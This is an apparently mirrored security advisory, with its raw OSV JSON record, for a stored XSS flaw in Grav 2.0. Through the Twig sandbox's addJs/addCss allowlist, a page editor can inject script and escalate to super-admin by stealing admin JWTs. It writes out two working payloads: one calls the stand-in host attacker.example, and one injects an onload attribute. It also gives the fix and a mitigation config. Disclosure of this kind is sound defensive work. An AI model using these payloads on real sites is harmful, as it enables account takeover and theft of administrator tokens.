GHSA-8HGV-XC77-JMCR中危已审查

Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin

OSV 1.4.0 · github-reviewed · 修改于 2026-08-22 03:14

发布时间

2026-08-22 03:14

GitHub 审查时间

2026-08-22 03:14

NVD 发布时间

—

源文件

advisories/github-reviewed/2026/08/GHSA-8hgv-xc77-jmcr/GHSA-8hgv-xc77-jmcr.json

公告说明

Summary

Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists addcss and addjs on Grav\Common\Assets (system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307). Because the sandbox arbitrates the call and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a <script src> / <link href> tag. The asset URL is concatenated into that tag without escaping, so it can also break out of its own attribute.

The save-time XSS scan cannot see this: Security::detectXssInEditorContent() renders the content body in isolation and inspects the returned string, while assets.addJs() acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.

This is not a Security::detectXss() bypass. It is content reaching an unescaped output sink through an allowlisted method.

Affected versions

All Grav 2.0 releases whose sandbox policy allowlists addcss/addjs on Grav\Common\Assets. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from system/config/security.yaml into SandboxDefaults in 2.0.19.

Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page process: twig.

Details

Reachable by a plain page editor, with no Twig permission and no configuration change. On a stock install security.twig_content.process_enabled is true and system/config/system.yaml ships process: { markdown: true } with no twig key, so Security::applyTwigContentDefault() defaults every page's process.twig to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. and the permission gate only the per-page in the editor — they do not gate whether Twig runs.

security.twig_content.editor_enabled: false

The sink. Assets/Js.php:46 (and identically Css.php:50, Link.php:41, JsModule.php:47) builds the tag by concatenation with no escaping:

return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ...

For any remote asset, BaseAsset::init() stores the caller's string verbatim. Two working variants follow:

External script inclusion — {{ assets.addJs('https://attacker.example/poc.js') }}
Attribute injection with no attacker-controlled host — {{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}, because unifyLegacyArguments() passes a second array argument straight into the tag's attributes and attribute names are not filtered. The same effect is reachable by embedding a quote in the URL itself.

Timing. Twig::processSite() resolves $page->content() before rendering the theme template, so the registration lands before the head is emitted.

javascript: and data: URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.

Persistent script execution on the site's own origin for every visitor of the affected page — including administrators, which makes this a page-editor-to-super-admin escalation:

Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with sandbox="allow-same-origin allow-scripts allow-forms", so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (plugins.api.protect_frontend_session) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this.
Admin-Next persists the administrator's API access and refresh JWTs in localStorage on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view.
An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.

Fixed in Grav 2.0.20:

addcss/addjs removed from the Grav\Common\Assets sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through security.twig_sandbox.allowed_methods, which is additive over the shipped defaults.
Asset URLs are now HTML-escaped at every render site (Js, Css, Link, JsModule, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.

Operators who cannot upgrade immediately can tighten the policy in user/config/security.yaml:

twig_sandbox:
  denied_methods:
    - class: Grav\Common\Assets
      methods: 'addcss, addjs'

Reported by Ahmed Ibrahim (@skeletonsec).

受影响的软件包

Packagist

getgrav/grav

ECOSYSTEM

引入0修复2.0.20

标识信息

别名 / CVE

无

CWE

CWE-79

软件生态

Packagist

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V4

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

原始 OSV JSON

{
  "id": "GHSA-8hgv-xc77-jmcr",
  "aliases": [],
  "details": "## Summary\n\nGrav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists `addcss` and `addjs` on `Grav\\Common\\Assets` (`system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307`). Because the sandbox arbitrates the *call* and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a `<script src>` / `<link href>` tag. The asset URL is concatenated into that tag **without escaping**, so it can also break out of its own attribute.\n\nThe save-time XSS scan cannot see this: `Security::detectXssInEditorContent()` renders the content body in isolation and inspects the returned string, while `assets.addJs()` acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.\n\nThis is not a `Security::detectXss()` bypass. It is content reaching an unescaped output sink through an allowlisted method.\n\n## Affected versions\n\nAll Grav 2.0 releases whose sandbox policy allowlists `addcss`/`addjs` on `Grav\\Common\\Assets`. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from `system/config/security.yaml` into `SandboxDefaults` in 2.0.19.\n\nGrav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page `process: twig`.\n\n## Details\n\n**Reachable by a plain page editor, with no Twig permission and no configuration change.** On a stock install `security.twig_content.process_enabled` is `true` and `system/config/system.yaml` ships `process: { markdown: true }` with no `twig` key, so `Security::applyTwigContentDefault()` defaults every page's `process.twig` to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. `security.twig_content.editor_enabled: false` and the `admin.pages_twig` permission gate only the per-page *override checkbox* in the editor — they do not gate whether Twig runs.\n\n**The sink.** `Assets/Js.php:46` (and identically `Css.php:50`, `Link.php:41`, `JsModule.php:47`) builds the tag by concatenation with no escaping:\n\n```php\nreturn '<script src=\"' . trim($this->asset) . $this->renderQueryString() . '\"' . $this->renderAttributes() . ...\n```\n\nFor any remote asset, `BaseAsset::init()` stores the caller's string verbatim. Two working variants follow:\n\n1. External script inclusion — `{{ assets.addJs('https://attacker.example/poc.js') }}`\n2. Attribute injection with **no attacker-controlled host** — `{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}`, because `unifyLegacyArguments()` passes a second array argument straight into the tag's attributes and attribute *names* are not filtered. The same effect is reachable by embedding a quote in the URL itself.\n\n**Timing.** `Twig::processSite()` resolves `$page->content()` before rendering the theme template, so the registration lands before the head is emitted.\n\n`javascript:` and `data:` URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.\n\n## Impact\n\nPersistent script execution on the site's own origin for every visitor of the affected page — **including administrators**, which makes this a page-editor-to-super-admin escalation:\n\n- Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with `sandbox=\"allow-same-origin allow-scripts allow-forms\"`, so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (`plugins.api.protect_frontend_session`) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this.\n- Admin-Next persists the administrator's API **access and refresh JWTs** in `localStorage` on that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view.\n- An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.\n\n## Patches\n\nFixed in Grav 2.0.20:\n\n- `addcss`/`addjs` removed from the `Grav\\Common\\Assets` sandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods through `security.twig_sandbox.allowed_methods`, which is additive over the shipped defaults.\n- Asset URLs are now HTML-escaped at every render site (`Js`, `Css`, `Link`, `JsModule`, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.\n\nOperators who cannot upgrade immediately can tighten the policy in `user/config/security.yaml`:\n\n```yaml\ntwig_sandbox:\n  denied_methods:\n    - class: Grav\\Common\\Assets\n      methods: 'addcss, addjs'\n```\n\n## Credits\n\nReported by Ahmed Ibrahim (@skeletonsec).",
  "summary": "Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.20"
            }
          ]
        }
      ],
      "package": {
        "name": "getgrav/grav",
        "ecosystem": "Packagist"
      },
      "database_specific": {
        "last_known_affected_version_range": "<= 2.0.19"
      }
    }
  ],
  "modified": "2026-08-21T19:14:59Z",
  "severity": [
    {
      "type": "CVSS_V4",
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"
    }
  ],
  "published": "2026-08-21T19:14:59Z",
  "references": [
    {
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8hgv-xc77-jmcr",
      "type": "WEB"
    },
    {
      "url": "https://github.com/getgrav/grav/commit/a4e8c4b748eb338ee7ab1dd26e7620a93bade047",
      "type": "WEB"
    },
    {
      "url": "https://github.com/getgrav/grav",
      "type": "PACKAGE"
    },
    {
      "url": "https://github.com/getgrav/grav/releases/tag/2.0.20",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "nvd_published_at": null,
    "github_reviewed_at": "2026-08-21T19:14:59Z"
  }
}